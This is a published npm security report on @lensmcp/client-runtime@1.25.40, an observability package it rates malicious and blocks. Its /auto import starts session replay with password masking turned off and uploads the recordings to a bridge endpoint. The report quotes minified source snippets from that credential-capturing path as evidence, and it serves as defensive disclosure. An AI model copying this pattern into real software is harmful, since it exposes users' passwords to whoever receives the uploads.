---
canonical: "https://firewall.lpm.dev/npm/@lensmcp/client-runtime"
markdown: "https://firewall.lpm.dev/npm/@lensmcp/client-runtime/v/1.25.40.md"
package: "@lensmcp/client-runtime"
report_status: "published"
title: "@lensmcp/client-runtime@1.25.40 npm security report"
verdict: "malicious"
version: "1.25.40"
---

# @lensmcp/client-runtime@1.25.40 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Password values entered on the page can be included in replay uploads and exposed to the bridge receiving them.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.25.40
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The default browser replay path records password fields without masking and uploads the recording to the bridge. Credential capture is unrelated to the disclosed event-capture purpose and occurs automatically when the \`/auto\` entry is imported.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 94.0%
- **Started:** 2026-10-30T20:44:06.539Z
- **Finished:** 2026-10-30T20:45:07.076Z
- **Download time:** 1018 ms
- **Static scan time:** 170 ms
- **AI review time:** 59348 ms
- **Total time:** 60537 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The browser auto entry captures replay data with password masking disabled and sends it to the LensMCP endpoint.

- **Trigger:** Importing \`@lensmcp/client-runtime/auto\` in a browser; replay starts by default unless disabled.

- **Impact:** Password values entered on the page can be included in replay uploads and exposed to the bridge receiving them.

- **Evidence paths:** auto.js, lib/auto.js, lib/replay/types.js, lib/replay/recorder.js, lib/replay/uploader.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-30T20:45:07.076Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** rrweb records the page while the recorder disables masking of password inputs, then uploads replay data to \`/replay\` and \`/replay/blob\`. The default endpoint uses the page hostname on port 5747 unless configured otherwise.

- **Attack narrative:** Importing the documented \`/auto\` entry starts replay capture by default. The replay configuration leaves all inputs unmasked and explicitly disables password masking, then POSTs replay payloads to the configured bridge endpoint. This can collect and transmit credentials entered into the observed page without a separate consent action.

- **Rationale:** The default browser replay path records password fields without masking and uploads the recording to the bridge. Credential capture is unrelated to the disclosed event-capture purpose and occurs automatically when the \`/auto\` entry is imported.

- **Network endpoints:** ws://\<location.hostname\>:5747, http(s)://\<configured endpoint\>/replay, http(s)://\<configured endpoint\>/replay/blob

### Review decision

- **Verdict:** Malicious

- **Confidence:** 94.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** Importing \`auto.js\` immediately calls \`installLensmcp\`., Replay is enabled by default and starts unless explicitly disabled., The replay privacy defaults set \`maskAllInputs\` to false., The recorder explicitly sets \`password\` masking to false, allowing password field values into recordings., Replay data and blobs are POSTed to \`/replay\` and \`/replay/blob\` on the configured endpoint; the default WebSocket host is the page hostname on port 5747.

- **Evidence against:** The package has no install lifecycle scripts; the behavior is triggered by importing the documented \`/auto\` entry., The stated purpose is browser observability through a LensMCP bridge, and the bridge endpoint can be configured by the user.

## Affected versions and remediation

This report applies to @lensmcp/client-runtime@1.25.40.

- Avoid installing @lensmcp/client-runtime@1.25.40. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 2. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 3. Low: Telemetry
- **Category:** Supply Chain
- **Confidence:** 70.0%

Package source references telemetry or analytics APIs.

### 4. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** auto.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/auto.js>)

Importing \`auto.js\` immediately calls \`installLensmcp\`.

Public source snippet (untrusted):

```javascript
"use strict";import{installLensmcp as s}from"./lib/auto.js";s();export{installLensmcp,resolveLensmcpWsUrl,resolveLensmcpWsToken}from"./lib/auto.js";
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/auto.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/auto.js>)

Replay is enabled by default and starts unless explicitly disabled.

Public source snippet (untrusted):

```javascript
bind(window):void 0;g(e),replayWanted(t.replay)&&p(e.wsUrl,n,o)}r(installLensmcp,"installLensmcp"),s(installLensmcp,"installLensmcp");export function replayWanted(t){if(t===!1||globalThis.__LENSMCP_REPLAY_
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/auto.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/auto.js>)

Replay is enabled by default and starts unless explicitly disabled.

Public source snippet (untrusted):

```javascript
tallLensmcp");export function replayWanted(t){if(t===!1||globalThis.__LENSMCP_REPLAY__===!1)return!1;const e=i("lensmcp-replay")?.toLowerCase();return e!=="off"&&e!=="false"&&e!=="0"}r(replayWanted,"replayWante
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/replay/types.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/replay/types.js>)

The replay privacy defaults set \`maskAllInputs\` to false.

Public source snippet (untrusted):

```javascript
VERSION=1,DEV_PRIVACY={maskAllInputs:!1,blockSelector:"[data-lens-private]"},DEFAULT_LIMITS={flushMs:2e3,flushChars:256*1024,flushEvents:2e3,checkoutEveryMs:18e4,pendingChars:
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/replay/recorder.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/replay/recorder.js>)

The recorder explicitly sets \`password\` masking to false, allowing password field values into recordings.

Public source snippet (untrusted):

```javascript
puts,...t.maskAllInputs?{}:{maskInputOptions:{password:!1}},...t.maskTextSelector?{maskTextSelector:t.maskTextSelector}:{},...t.blockSelector?{blockSelector:t.blockSelector}:{},slimDOMOptions:"all",sampling:{mousemove:50,scroll:150,media:80
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/replay/uploader.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/replay/uploader.js>)

Replay data and blobs are POSTed to \`/replay\` and \`/replay/blob\` on the configured endpoint; the default WebSocket host is the page hostname on port 5747.

Public source snippet (untrusted):

```javascript
arams(this.o.token?{token:this.o.token,...e}:e);return`${this.o.endpoint}${t}?${s.toString()}`}async post(t,e,s){const i=await this.o.env.fetch(this.url(t,e),{method:"POST",headers:{"content-type":"text/plain"},body:s,credentials:"omit",keepalive:(typeof s=="string"?s.length:s.byteLength)<=this.o.be
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/auto.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/auto.js>)

Replay data and blobs are POSTed to \`/replay\` and \`/replay/blob\` on the configured endpoint; the default WebSocket host is the page hostname on port 5747.

Public source snippet (untrusted):

```javascript
),c=e.__LENSMCP_WS_HOST__;return`ws://${typeof c=="string"&&c.length>0?c:i("lensmcp-ws-host")??(typeof location<"u"&&location.hostname?location.hostname:w)}:${a}`}r(resolveLensmcpWsUrl,"reso
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 94.0%
- **Path:** lib/replay/uploader.js
- **Public source:** [View source](<https://unpkg.com/@lensmcp/client-runtime@1.25.40/lib/replay/uploader.js>)

Replay data and blobs are POSTed to \`/replay\` and \`/replay/blob\` on the configured endpoint; the default WebSocket host is the page hostname on port 5747.

Public source snippet (untrusted):

```javascript
t this.post("/replay/blob",{sha:o,enc:f?"gzip":"identity"},f??r);if(h.status>=200&&h.status<300){this.o.known.add(o);continue}const l=c(h.status);if(l)return l;throw new Error(`blob ${h.status}`)}const s=await this.post("/replay",this.param
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 4

### Published dependency entries
- @lensmcp/core 1.25.40 (Dependency)
- @rrweb/record 2.1.7 (Dependency)
- @rrweb/types 2.1.7 (Dependency)
- tslib ^2.3.0 (Dependency)

## Package metadata
- **Package:** @lensmcp/client-runtime
- **Ecosystem:** npm
- **Version:** 1.25.40
- **License:** Apache-2.0
- **Version published:** 2026-10-30T20:42:32.900Z
- **Package first seen:** 2026-07-05T12:35:15.305Z
- **Package last seen:** 2026-11-04T20:11:38.908Z
- **Known versions:** 78
- **Latest version:** 1.25.59
- **Appeal under review:** No
- **Description:** LensMCP browser-side capture layer — errors, console, fetch, and route changes streamed to the LensMCP bridge. Import '@lensmcp/client-runtime/auto' for a zero-build install in any host.
- **Keywords:** lensmcp, mcp, observability, ai-agents, claude, browser, client-runtime
- **Runtime engines:** node: \>=18
- **Artifact files:** 34
- **Artifact unpacked size:** 254,744 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@lensmcp/client-runtime/v/1.25.40>)
- [Repository](<https://github.com/kiwiapps-ltd/lensmcp.git>)
- [Homepage](<https://github.com/kiwiapps-ltd/lensmcp#readme>)
- [Issues](<https://github.com/kiwiapps-ltd/lensmcp/issues>)